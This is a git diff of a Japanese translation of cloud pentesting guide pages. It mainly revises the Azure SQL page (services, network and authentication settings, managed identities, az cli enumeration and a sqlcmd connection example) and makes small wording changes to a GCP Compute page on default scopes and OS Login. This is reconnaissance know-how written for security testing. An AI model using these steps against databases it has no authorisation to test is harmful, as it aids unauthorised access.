リソースにアクセスするための接続文字列を使用できます。 + +### 列挙 {{#tabs }} {{#tab name="az cli" }} diff --git a/src/pentesting-cloud/azure-security/az-services/az-sql.md b/src/pentesting-cloud/azure-security/az-services/az-sql.md index abd743f4a..944a573b6 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-sql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-sql.md @@ -4,93 +4,147 @@ ## Azure SQL -Azure SQLは、**Azureクラウド内のSQL Serverデータベースエンジン**を使用する管理された、安全で、インテリジェントな製品のファミリーです。これにより、サーバーの物理管理を心配する必要がなく、データの管理に集中できます。 +Azure SQLは、**Azureクラウド内のSQL Serverデータベースエンジン**を使用する管理された、安全で、インテリジェントな製品のファミリーです。これにより、サーバーの物理的な管理を心配する必要がなく、データの管理に集中できます。 -Azure SQLは、主に3つの提供形態から成り立っています: +Azure SQLは、4つの主要な提供物で構成されています: -1. **Azure SQL Database**: これは**完全管理型データベースサービス**で、Azureクラウド内に個別のデータベースをホストできます。独自のデータベースパターンを学習し、カスタマイズされた推奨事項と自動調整を提供する組み込みのインテリジェンスを備えています。 -2. **Azure SQL Managed Instance**: これは、より大規模なSQL Serverインスタンススコープの展開向けです。最新のSQL Serverオンプレミス(Enterprise Edition)データベースエンジンとのほぼ100%の互換性を提供し、一般的なセキュリティの懸念に対処するネイティブの仮想ネットワーク(VNet)実装と、オンプレミスSQL Server顧客に有利なビジネスモデルを提供します。 -3. **Azure SQL Server on Azure VMs**: これはInfrastructure as a Service(IaaS)で、オンプレミスで動作しているサーバーのように**オペレーティングシステムとSQL Serverインスタンスを制御したい**マイグレーションに最適です。 +1. **Azure SQL Server**: Azure SQL Serverは、SQL Serverデータベースの展開と管理を簡素化する管理されたリレーショナルデータベースサービスで、組み込みのセキュリティとパフォーマンス機能を備えています。 +2. **Azure SQL Database**: これは**完全管理されたデータベースサービス**で、Azureクラウド内に個別のデータベースをホストできます。独自のデータベースパターンを学習し、カスタマイズされた推奨事項と自動調整を提供する組み込みのインテリジェンスを提供します。 +3. **Azure SQL Managed Instance**: これは、より大規模な、全体のSQL Serverインスタンススコープの展開向けです。最新のSQL Serverオンプレミス(Enterprise Edition)データベースエンジンとのほぼ100%の互換性を提供し、一般的なセキュリティの懸念に対処するネイティブの仮想ネットワーク(VNet)実装を提供し、オンプレミスSQL Server顧客にとって有利なビジネスモデルを提供します。 +4. **Azure SQL Server on Azure VMs**: これはInfrastructure as a Service(IaaS)で、オンプレミスで実行されているサーバーのように、**オペレーティングシステムとSQL Serverインスタンスを制御したい**マイグレーションに最適です。 + +### Azure SQL Server + +Azure SQL Serverは、データ操作にTransact-SQLを使用し、エンタープライズレベルのシステムを処理するために構築されたリレーショナルデータベース管理システム(RDBMS)です。パフォーマンス、セキュリティ、スケーラビリティ、さまざまなMicrosoftアプリケーションとの統合のための堅牢な機能を提供します。Azure SQLデータベースはこのサーバーに依存しており、これらはこのサーバー上に構築されており、ユーザーがデータベースにアクセスするためのエントリポイントです。 + +#### Network + +**Network Connectivity**: 公開エンドポイントまたはプライベートエンドポイントを介してアクセスを有効にするかどうかを選択します。「No access」を選択した場合、手動で構成されるまでエンドポイントは作成されません: +- No access: エンドポイントは構成されず、手動で設定されるまで受信接続がブロックされます。 +- Public endpoint: 公共のインターネットを介して直接接続を許可し、ファイアウォールルールやその他のセキュリティ構成の対象となります。 +- Private endpoint: プライベートネットワークへの接続を制限します。 + +**Connection Policy**: クライアントがSQLデータベースサーバーと通信する方法を定義します: +- Default: Azure内からのすべてのクライアント接続にリダイレクトポリシーを使用し(プライベートエンドポイントを使用しているものを除く)、Azure外からの接続にはプロキシポリシーを使用します。 +- Proxy: すべてのクライアント接続をAzure SQL Databaseゲートウェイを介してルーティングします。 +- Redirect: クライアントはデータベースをホストしているノードに直接接続します。 + +#### Authentication Methods +Azure SQLは、データベースアクセスを保護するためのさまざまな認証方法をサポートしています: + +- **Microsoft Entra-only authentication**: 中央集権的なアイデンティティ管理とシングルサインオンのためにMicrosoft Entra(旧Azure AD)を使用します。 +- **Both SQL and Microsoft Entra authentication**: 従来のSQL認証とMicrosoft Entraを併用できます。 +- **SQL authentication**: SQL Serverのユーザー名とパスワードのみに依存します。 + +#### Security features + +SQLサーバーには**Managed Identities**があります。Managed identitiesは、資格情報を保存することなく、他のAzureサービスと安全に認証することを可能にします。他のサービスにアクセスすることができ、これがシステム割り当てのマネージドアイデンティティであり、他のアイデンティティを持つ他のサービスによってアクセスされるのがユーザー割り当てのマネージドアイデンティティです。SQLがアクセスできるサービスの一部には、Azure Storage Account(V2)、Azure Data Lake Storage Gen2、SQL Server、Oracle、Teradata、MongoDBまたはCosmos DB API for MongoDB、Generic ODBC、Bulk Operations、S3互換オブジェクトストレージがあります。 + +SQLサーバーが持つ他のセキュリティ機能は次のとおりです: + +- **Firewall Rules**: ファイアウォールルールは、トラフィックを制限または許可することによってサーバーへのアクセスを制御します。これはデータベース自体の機能でもあります。 +- **Transparent Data Encryption (TDE)**: TDEは、データベース、バックアップ、およびログを静止状態で暗号化し、ストレージが侵害されてもデータを保護します。サービス管理キーまたは顧客管理キーで行うことができます。 +- **Microsoft Defender for SQL**: Microsoft Defender for SQLを有効にすると、サーバーの脆弱性評価と高度な脅威保護を提供します。 + +#### Deployment Models + +Azure SQL Databaseは、さまざまなニーズに応じた柔軟な展開オプションをサポートしています: + +- **Single Database**: +- 専用リソースを持つ完全に孤立したデータベース。 +- マイクロサービスや単一のデータソースを必要とするアプリケーションに最適です。 +- **Elastic Pool**: +- プール内で複数のデータベースがリソースを共有できます。 +- 複数のデータベースにわたる使用パターンが変動するアプリケーションに対してコスト効率が良いです。 ### Azure SQL Database -**Azure SQL Database**は、**完全管理型データベースプラットフォームとしてのサービス(PaaS)**で、スケーラブルで安全なリレーショナルデータベースソリューションを提供します。最新のSQL Server技術に基づいており、インフラ管理の必要がなく、クラウドベースのアプリケーションに人気の選択肢となっています。 +**Azure SQL Database**は、スケーラブルで安全なリレーショナルデータベースソリューションを提供する**完全管理されたデータベースプラットフォームとしてのサービス(PaaS)**です。最新のSQL Server技術に基づいており、インフラ管理の必要がなく、クラウドベースのアプリケーションに人気の選択肢となっています。 -#### 主な機能 +#### Key Features -- **常に最新**: 最新の安定版SQL Serverで実行され、新機能やパッチを自動的に受け取ります。 -- **PaaS機能**: 組み込みの高可用性、バックアップ、更新。 -- **データの柔軟性**: リレーショナルデータと非リレーショナルデータ(例:グラフ、JSON、空間、XML)をサポート。 +- **Always Up-to-Date**: 最新の安定版SQL Serverで実行され、新機能やパッチを自動的に受け取ります。 +- **PaaS Capabilities**: 組み込みの高可用性、バックアップ、および更新。 +- **Data Flexibility**: リレーショナルデータと非リレーショナルデータ(例:グラフ、JSON、空間、XML)をサポートします。 -#### 購入モデル / サービスタイプ +#### Network -- **vCoreベース**: コンピュート、メモリ、ストレージを独立して選択します。一般的な用途、ビジネスクリティカル(OLTPアプリ向けの高い耐障害性とパフォーマンス)で、最大128TBのストレージにスケールアップします。 -- **DTUベース**: コンピュート、メモリ、I/Oを固定のティアにバンドルします。一般的なタスクに対してバランスの取れたリソース。 -- スタンダード: 一般的なタスクに対してバランスの取れたリソース。 -- プレミアム: 要求の厳しいワークロード向けの高パフォーマンス。 +**Network Connectivity**: 公開エンドポイントまたはプライベートエンドポイントを介してアクセスを有効にするかどうかを選択します。「No access」を選択した場合、手動で構成されるまでエンドポイントは作成されません: +- No access: エンドポイントは構成されず、手動で設定されるまで受信接続がブロックされます。 +- Public endpoint: 公共のインターネットを介して直接接続を許可し、ファイアウォールルールやその他のセキュリティ構成の対象となります。 +- Private endpoint: プライベートネットワークへの接続を制限します。 -#### デプロイメントモデル +**Connection Policy**: クライアントがSQLデータベースサーバーと通信する方法を定義します: +- Default: Azure内からのすべてのクライアント接続にリダイレクトポリシーを使用し(プライベートエンドポイントを使用しているものを除く)、Azure外からの接続にはプロキシポリシーを使用します。 +- Proxy: すべてのクライアント接続をAzure SQL Databaseゲートウェイを介してルーティングします。 +- Redirect: クライアントはデータベースをホストしているノードに直接接続します。 -Azure SQL Databaseは、さまざまなニーズに応じた柔軟なデプロイメントオプションをサポートします: +#### Security Features -- **シングルデータベース**: -- 専用リソースを持つ完全に孤立したデータベース。 -- マイクロサービスや単一のデータソースを必要とするアプリケーションに最適。 -- **エラスティックプール**: -- 複数のデータベースがプール内でリソースを共有できます。 -- 複数のデータベースにわたる使用パターンが変動するアプリケーションにコスト効率が良い。 +- **Microsoft Defender for SQL**: 有効にすると、脆弱性評価と高度な脅威保護を提供します。 +- **Ledger**: データの整合性を暗号的に検証し、改ざんが検出されることを保証します。 +- **Server Identity**: 中央集権的なアクセスを可能にするために、システム割り当ておよびユーザー割り当てのマネージドアイデンティティを使用します。 +- **Transparent Data Encryption Key Management**: アプリケーションに変更を加えることなく、静止状態でデータベース、バックアップ、およびログを暗号化します。暗号化は各データベースで有効にでき、データベースレベルで構成されている場合、これらの設定はサーバーレベルの構成を上書きします。 +- **Always Encrypted**: データの所有権と管理を分離する高度なデータ保護機能のスイートです。これにより、高い権限を持つ管理者やオペレーターが機密データにアクセスできないことが保証されます。 -#### スケーラブルなパフォーマンスとプール +#### Purchasing Models / Service Tiers -- **シングルデータベース**: 各データベースは孤立しており、専用のコンピュート、メモリ、ストレージリソースを持っています。リソースはダウンタイムなしで動的にスケールできます(1〜128 vCores、32 GB〜4 TBストレージ、最大128 TB)。 -- **エラスティックプール**: 複数のデータベース間でリソースを共有し、効率を最大化し、コストを削減します。プール全体のリソースも動的にスケールできます。 -- **サービスティアの柔軟性**: 一般的な用途のティアでシングルデータベースから小さく始めます。ニーズが増えるにつれてビジネスクリティカルまたはハイパースケールティアにアップグレードします。 -- **スケーリングオプション**: 動的スケーリングまたはオートスケーリングの代替。 +- **vCore-based**: コンピュート、メモリ、およびストレージを独立して選択します。一般的な目的、高い耐障害性とOLTPアプリ向けのビジネスクリティカル(高パフォーマンス)で、最大128TBのストレージにスケールアップします。 +- **DTU-based**: コンピュート、メモリ、およびI/Oを固定ティアにバンドルします。一般的なタスクに対してバランスの取れたリソースです。 +- Standard: 一般的なタスクに対してバランスの取れたリソースです。 +- Premium: 要求の厳しいワークロード向けの高パフォーマンスです。 -#### 組み込みの監視と最適化 +#### Scalable performance and pools -- **クエリストア**: パフォーマンスの問題を追跡し、リソースの消費者を特定し、実行可能な推奨事項を提供します。 -- **自動調整**: 自動インデックス作成やクエリプランの修正などの機能でパフォーマンスを積極的に最適化します。 -- **テレメトリー統合**: Azure Monitor、Event Hubs、またはAzure Storageを通じて監視をサポートし、カスタマイズされたインサイトを提供します。 +- **Single Databases**: 各データベースは孤立しており、専用のコンピュート、メモリ、およびストレージリソースを持っています。リソースはダウンタイムなしで動的にスケールアップまたはスケールダウンできます(1〜128 vCores、32 GB〜4 TBストレージ、最大128 TB)。 +- **Elastic Pools**: プール内で複数のデータベース間でリソースを共有し、効率を最大化し、コストを節約します。リソースはプール全体に対しても動的にスケールできます。 +- **Service Tier Flexibility**: 一般的な目的のティアで単一のデータベースから小さく始めます。ニーズが増えるにつれてビジネスクリティカルまたはハイパースケールティアにアップグレードします。 +- **Scaling Options**: 動的スケーリングまたはオートスケーリングの代替手段。 -#### 災害復旧と可用性 +#### Built-In Monitoring & Optimization -- **自動バックアップ**: SQL Databaseは、データベースのフル、差分、およびトランザクションログバックアップを自動的に実行します。 -- **ポイントインタイムリストア**: バックアップ保持期間内の任意の過去の状態にデータベースを復元します。 -- **地理的冗長性** -- **フェイルオーバーグループ**: データベースをグループ化して自動フェイルオーバーを簡素化し、地域間での災害復旧を実現します。 +- **Query Store**: パフォーマンスの問題を追跡し、リソース消費の上位を特定し、実行可能な推奨事項を提供します。 +- **Automatic Tuning**: 自動インデックス作成やクエリプラン修正などの機能を使用して、パフォーマンスを積極的に最適化します。 +- **Telemetry Integration**: Azure Monitor、Event Hubs、またはAzure Storageを通じて監視をサポートし、カスタマイズされたインサイトを提供します。 + +#### Disaster Recovery & Availability + +- **Automatic backups**: SQL Databaseは、データベースのフル、差分、およびトランザクションログのバックアップを自動的に実行します。 +- **Point-in-Time Restore**: バックアップ保持期間内の任意の過去の状態にデータベースを復元します。 +- **Geo-Redundancy** +- **Failover Groups**: データベースをグループ化して自動的に地域間でフェイルオーバーすることで、災害復旧を簡素化します。 ### Azure SQL Managed Instance **Azure SQL Managed Instance**は、SQL Serverとのほぼ100%の互換性を提供し、ほとんどの管理タスク(例:アップグレード、パッチ適用、バックアップ、監視)を自動的に処理するプラットフォームとしてのサービス(PaaS)データベースエンジンです。最小限の変更でオンプレミスのSQL Serverデータベースを移行するためのクラウドソリューションを提供します。 -#### サービスタイプ +#### Service Tiers -- **一般的な用途**: 標準的なI/Oおよびレイテンシ要件を持つアプリケーション向けのコスト効率の良いオプション。 -- **ビジネスクリティカル**: 重要なワークロード向けの低I/Oレイテンシを持つ高パフォーマンスオプション。 +- **General Purpose**: 標準のI/Oおよびレイテンシ要件を持つアプリケーション向けのコスト効率の良いオプションです。 +- **Business Critical**: 重要なワークロード向けの低I/Oレイテンシを持つ高パフォーマンスオプションです。 -#### 高度なセキュリティ機能 +#### Advanced Security Features -* **脅威保護**: 疑わしい活動やSQLインジェクション攻撃に対する高度な脅威保護アラート。コンプライアンスのためのデータベースイベントを追跡およびログする監査。 -* **アクセス制御**: 中央集権的なアイデンティティ管理のためのMicrosoft Entra認証。細かなアクセス制御のための行レベルセキュリティと動的データマスキング。 -* **バックアップ**: ポイントインタイムリストア機能を持つ自動および手動のバックアップ。 +* **Threat Protection**: 疑わしい活動やSQLインジェクション攻撃に対する高度な脅威保護アラート。コンプライアンスのためのデータベースイベントを追跡およびログする監査。 +* **Access Control**: 中央集権的なアイデンティティ管理のためのMicrosoft Entra認証。行レベルセキュリティと動的データマスキングによる詳細なアクセス制御。 +* **Backups**: ポイントインタイム復元機能を持つ自動および手動のバックアップ。 ### Azure SQL Virtual Machines -**Azure SQL Virtual Machines**は、オンプレミスで動作しているサーバーのように**オペレーティングシステムとSQL Serverインスタンスを制御したい**マイグレーションに最適です。異なるマシンサイズや、さまざまなSQL Serverのバージョンとエディションを選択できます。 +**Azure SQL Virtual Machines**は、**オペレーティングシステムとSQL Serverインスタンスを制御したい**マイグレーションに最適です。異なるマシンサイズと幅広いSQL Serverバージョンおよびエディションを持つことができます。 -#### 主な機能 +#### Key Features -**自動バックアップ**: SQLデータベースのバックアップをスケジュールします。 -**自動パッチ適用**: メンテナンスウィンドウ中にWindowsおよびSQL Serverの更新を自動的にインストールします。 -**Azure Key Vault統合**: SQL Server VMのためにKey Vaultを自動的に構成します。 -**Defender for Cloud統合**: ポータルでSQLの推奨事項を表示します。 -**バージョン/エディションの柔軟性**: VMを再デプロイすることなくSQL Serverのバージョンまたはエディションのメタデータを変更します。 +**Automated Backup**: SQLデータベースのバックアップをスケジュールします。 +**Automatic Patching**: メンテナンスウィンドウ中にWindowsおよびSQL Serverの更新を自動的にインストールします。 +**Azure Key Vault Integration**: SQL Server VMのためにKey Vaultを自動的に構成します。 +**Defender for Cloud Integration**: ポータルでSQLの推奨事項を表示します。 +**Version/Edition Flexibility**: VMを再展開することなくSQL Serverのバージョンまたはエディションのメタデータを変更します。 -#### セキュリティ機能 +#### Security Features **Microsoft Defender for SQL**: セキュリティインサイトとアラート。 -**Azure Key Vault統合**: 認証情報と暗号化キーの安全な保管。 +**Azure Key Vault Integration**: 資格情報と暗号化キーの安全な保管。 **Microsoft Entra (Azure AD)**: 認証とアクセス制御。 ## Enumeration @@ -99,7 +153,7 @@ Azure SQL Databaseは、さまざまなニーズに応じた柔軟なデプロ {{#tab name="az cli"}} ```bash # List Servers -az sql server list # --output table +az sql server list # managed identities are enumerated here too ## List Server Usages az sql server list-usages --name --resource-group ## List Server Firewalls @@ -227,7 +281,7 @@ $Connection.Close() invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;' ``` -データベースにアクセスするためにsqlcmdを使用することもできます。サーバーがパブリック接続を許可しているかどうかを確認することが重要です `az sql server show --name --resource-group `、また、ファイアウォールルールが私たちのIPのアクセスを許可しているかどうかも確認する必要があります。 +データベースにアクセスするためにsqlcmdを使用することもできます。サーバーがパブリック接続を許可しているかどうかを確認することが重要です `az sql server show --name --resource-group `、また、ファイアウォールルールが私たちのIPのアクセスを許可しているかどうかも確認する必要があります: ```bash sqlcmd -S .database.windows.net -U -P -d ``` @@ -244,7 +298,7 @@ sqlcmd -S .database.windows.net -U -P -compute@developer.gserviceaccount.com`\ このサービスアカウントは、**プロジェクト全体に対するエディターロール(高い権限)**を持っています。 -そして、**デフォルトのアクセススコープ**は以下の通りです: +そして、**デフォルトのアクセススコープ**は次のとおりです: - **https://www.googleapis.com/auth/devstorage.read\_only** -- バケットへの読み取りアクセス :) -- https://www.googleapis.com/auth/logging.write -- https://www.googleapis.com/auth/monitoring.write -- https://www.googleapis.com/auth/servicecontrol -- https://www.googleapis.com/auth/service.management.readonly -- https://www.googleapis.com/auth/trace.append +- [https://www.googleapis.com/auth/logging.write](https://www.googleapis.com/auth/logging.write) +- [https://www.googleapis.com/auth/monitoring.write](https://www.googleapis.com/auth/monitoring.write) +- [https://www.googleapis.com/auth/servicecontrol](https://www.googleapis.com/auth/servicecontrol) +- [https://www.googleapis.com/auth/service.management.readonly](https://www.googleapis.com/auth/service.management.readonly) +- [https://www.googleapis.com/auth/trace.append](https://www.googleapis.com/auth/trace.append) -ただし、**`cloud-platform`をクリックで付与**するか、**カスタムのものを指定**することも可能です。 +ただし、**クリックで`cloud-platform`を付与**するか、**カスタムのものを指定**することも可能です。
@@ -68,7 +68,7 @@ HTTPおよびHTTPSトラフィックを許可することが可能です。 VMへのアクセスを有効にする一般的な方法は、**特定のSSH公開鍵**をVMにアクセスできるようにすることです。\ ただし、**IAMを使用して`os-config`サービス経由でVMへのアクセスを有効にする**ことも可能です。さらに、このサービスを使用してVMへのアクセスに2FAを有効にすることも可能です。\ -この**サービス**が**有効**になると、**SSHキーによるアクセスは無効**になります。 +この**サービス**が**有効**になっていると、**SSHキーによるアクセスは無効**になります。
@@ -94,7 +94,7 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/ ### 暗号化 -デフォルトではGoogle管理の暗号化キーが使用されますが、顧客管理の暗号化キー(CMEK)を設定することもできます。また、使用されているCMEKが取り消された場合の処理を設定することもできます:何もしないか、VMをシャットダウンします。 +デフォルトではGoogle管理の暗号化キーが使用されますが、顧客管理の暗号化キー(CMEK)を設定することもできます。また、使用されているCMEKが取り消された場合の処理を設定することもできます:VMをシャットダウンするか、何もしないかです。